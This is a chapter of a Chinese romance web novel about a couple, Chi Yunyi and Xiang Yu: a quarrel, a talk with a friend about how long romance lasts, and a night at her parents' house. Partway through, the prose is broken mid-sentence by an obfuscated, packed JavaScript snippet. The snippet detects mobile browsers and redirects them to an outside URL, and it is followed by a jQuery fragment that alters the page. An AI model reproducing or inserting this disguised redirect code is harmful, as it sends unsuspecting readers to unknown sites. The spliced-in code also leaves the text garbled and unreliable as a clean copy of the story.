两人原本高高兴兴去的酒吧,回来时,司机开车,一个坐在副驾驶,一个坐在后座,谁也不说话。
起压降到低点。
迟云伊懒得再跟他纠结牵扯,回到家里,直接回房间睡觉。
后面她都快要睡着了,项誉还没回来。
半夜她因为呼吸不畅醒过一次,但是因为喝了一点酒,头晕晕的,睡得沉,没反应过来什么就又睡着了。
早上睁眼醒来,身体酸软,好像睡着的时候被人打了一顿。看向床边,项誉不在,但是床单上的褶皱能看到他睡过的痕迹。
不知道去哪里了。
迟云伊这个人懒,懒得猜男人的心思。
随便吧。她心道。
赶在年假结束前,迟右坤三人度假回归。迟云伊直接飞回爸爸妈妈姐姐的怀抱。
项誉趁现在有时间,把龙飞约出来,在清吧见面。
龙飞状态好了很多,但是肉眼可见比从前瘦了不少。一场没有好结果的恋爱带给他负面的反馈,非但没有滋养他,人反倒也没了从前精气神。
“怎么还喝上酒了?”龙飞问。
“想尝尝。”
一上来,项誉开门见山,“你之前谈过那么多次,跟对方暧昧多久?谈多久?新鲜感维持多久?我想参考参考。”
龙飞:“参考这个干什么?你拿来参考你们家迟云伊?”
“快说。”
“暧昧一个月或者三个月都有可能。但要是快的话,两周就行。”
“同居、整天腻在一起的那种,最多半年就没新鲜感了。至于别的……时间可能要再长一点。”
“最多半年吗?”
“差不多吧。”
“那最少呢?”
“最少,像楼夕影这种,也就两三个月。”
项誉端起桌上的酒杯喝了点,他头一次发现,这么轻这么浅的酒杯,他那只可以单手硬拉160kg的手竟然有些拿不稳。
用那么多年的时间,才换取两三个月的新鲜感。
“你怎么了?”
“没什么,就是突然发现,你之前说的对。”项誉从小寄人篱下,情绪感知能力超乎寻常。正是因为这种能力,他可以把对情绪的感知放大数倍。
龙飞反应了一瞬,“迟云伊干什么对不起你的事了?不行咱就赶紧收手啊,早点止损。”
项誉反问:“为什么要收手?”
“还为什么?你说为什么,难不成还非得撞南墙才……”
“你第一天认识我吗?”
龙飞知道项誉这个人对自己认定的事情偏执且固执,可他还是想劝说两句:“如果早知道会是痛苦,我绝对不会开始这段感情。”
“先苦后甜,先甜后苦,我都喜欢。吃得了甜,更吃得了苦。”
项誉酒量差,有些醉了,说出来的话有些不像他,“你之前那么痛苦,就没想过用别的手段把人留在身边?”
“?”龙飞被这话吓一跳。
-
项誉回到家,家里空荡荡的。
他找遍迟云伊可能出现的地方,都没有找到她的身影。
打电话过去,没接。
不接就再打。
落地窗边,瑜伽垫上,一个露着肚子晒太阳的小姑娘刚睡醒。她身上的衣服、瑜伽垫的颜色几乎与地板颜色重合。
阳光耀眼,她蒙上头,继续睡。
家里地暖温度高,躺在地上睡或许会很舒服。看迟云伊的反应,那简直相当舒服。她像只小猫,找个阳光充足的地方,随地大小睡。
迟云珊踢了踢迟云伊的脚,“醒醒,来电话了。”
“谁呀。”
“项誉。”
接过手机,迟云伊没睡醒,打了个长长的哈欠,“歪?”
“在哪儿?”
“在家。”
“在家哪里?”
手机那边传来急匆匆的脚步声,迟云伊说:“在我家,在爸妈家里。”
不等电话里的人说话,她淡淡的,接着道:“今晚不回。”
“知道了,我也不回。”
迟云伊没了困意,“你不回家,那你去哪里?”
项誉不回答,还十分迅速地挂断电话。
“这个狗东西,反了天了,挂我电话,还敢夜不归宿!”她骂骂咧咧。
迟右坤:“夜不归宿?”
“对!”
不到五分钟的时间,迟云伊吐槽项誉的话还没说完,门铃声响起,她去开门,来人是项誉,他手里还带了好些礼品。
见到人,“我来你家住,找你睡觉,”他才开始回答上一个问题的答案,“应该不算夜不归宿。”
“我家不给你住。”迟云伊故意这么说。
迟右坤了然:这是人家小夫妻的情趣,忙道:“阿誉快进来。”
项誉应和,不忘回答迟云伊:“看来非住不可。”
迟云伊去攻击他的屁股。攻击不成,反被抓住,牵在手里,两人挨着坐在一块儿。
晚饭是迟右坤和项誉共同掌勺完成,家里的两个男人做饭,三个女人等着吃。岳父和女婿非常有共同话题可以聊,他们什么都能聊,天南海北地聊,聊见识,聊金钱,聊未来风口,迟右坤发现,在这些事情上,项誉已经不再是两年前的那个他了。这短短两年的时间,项誉成长地非常迅速,后生可畏。
饭后,迟云伊晕碳,想回房间睡觉,迟右坤还想跟项誉聊天,奈何项誉不想跟他聊了,找了个理由搪塞过去,跟着迟云伊上楼。
迟云伊的房间里,到处都是她身上的味道,比任何一个地方都要浓郁。
很久很久之前的项誉肯定不曾奢想过,在未来有一天,他可以光明正大地躺在迟云伊从小长到大的床上。头一次探索到这样
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16380198|184119||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一片未知且让他充满期待的领域,项誉看起来极具探索欲。
“这些书能看吗?”
“你确定要看?”
项誉点头。
迟云伊给他展示妙招,书架上的书,书皮和书的内容各过各的,外面是正经书的书皮,里面全都是言情耽美小说,还有小/黄/文打印版。
项誉看到里面的内容,两个男人在亲嘴。
他赶紧合上书。
迟云伊去卫生间洗澡,卫生间里响起水滴从高处下落的声音,偶尔这些声音节奏、韵律皆有不同。项誉像是完整听完了一首曲子,他却无法为这首曲子打分。
迟云伊吹头发,护肤,穿着厚厚睡衣出来。她身上的气味传过来,体香叠带着沐浴露的香气,项誉动动鼻子,没有转身回头看。
这气味越来越近,窗子上,倒映着房间里的一切,项誉看到自己的脸,还有一道走来走去的身影,他的目光追随着那道不太明晰的身影,幽深晦暗。
迟云伊突然出声,项誉回神。
“洗完澡再上床,我要睡觉,给你十分钟时间。”
项誉去洗澡,十分钟卡点出来。
迟云伊困意到达顶峰,昏昏欲睡。项誉上床时,看到床上的人把自己摆成“大”字,睡在最中间。且这张床上只有一个枕头。
一个枕头。
意思已经很明显了。
他有些不太真实地坐下,床相当柔软,唯一的缺点就是动作稍微一大,就会发出吱呀的响声,从此推测这张床已经很多年了。
刚把自己身体的重量放下去,项誉便感觉自己像是深深地陷进了一个柔软的棉团里,棉团散发着迟云伊身上同样的香气,比旁处更为浓郁。
他身材欣长,刚一躺下,便占据了大部分空间。
几息过后,迟云伊睡意昏沉,倏感肩部一重,有个东西压了过来,随后是胳膊、腰身、大腿,这些地方都被人攻下城池,占据地盘。项誉亲了亲她的后脖颈。
迟云伊睁开眼睛。
那次闹的不愉快谁都没提。
没一会儿,熟悉的呼吸不畅感传来,连带着肩部的酸麻。
她再次睁开眼睛,斥责道:“下去。”
项誉快要睡着了,“什么?”
“从我身上下去。”
上下翻转,眨眼间,被压在身下当温床的人变成项誉,迟云伊趴在他身上,腰上一只手,背上一只手,两只手将她摁在怀里,项誉说:“睡吧。”
两人先前还从未这样抱着睡过。
项誉的体感是——这样比抱着还要好。
身体重量沉甸甸地压在身上,一切都无比真实。他双臂环紧,这样的姿势可以把迟云伊整个人往自己身上压,让所有的触感都变得清晰。
有一种错觉:如果项誉再用力一点,或许可以把人压进身体,让他们合二为一,融为一体。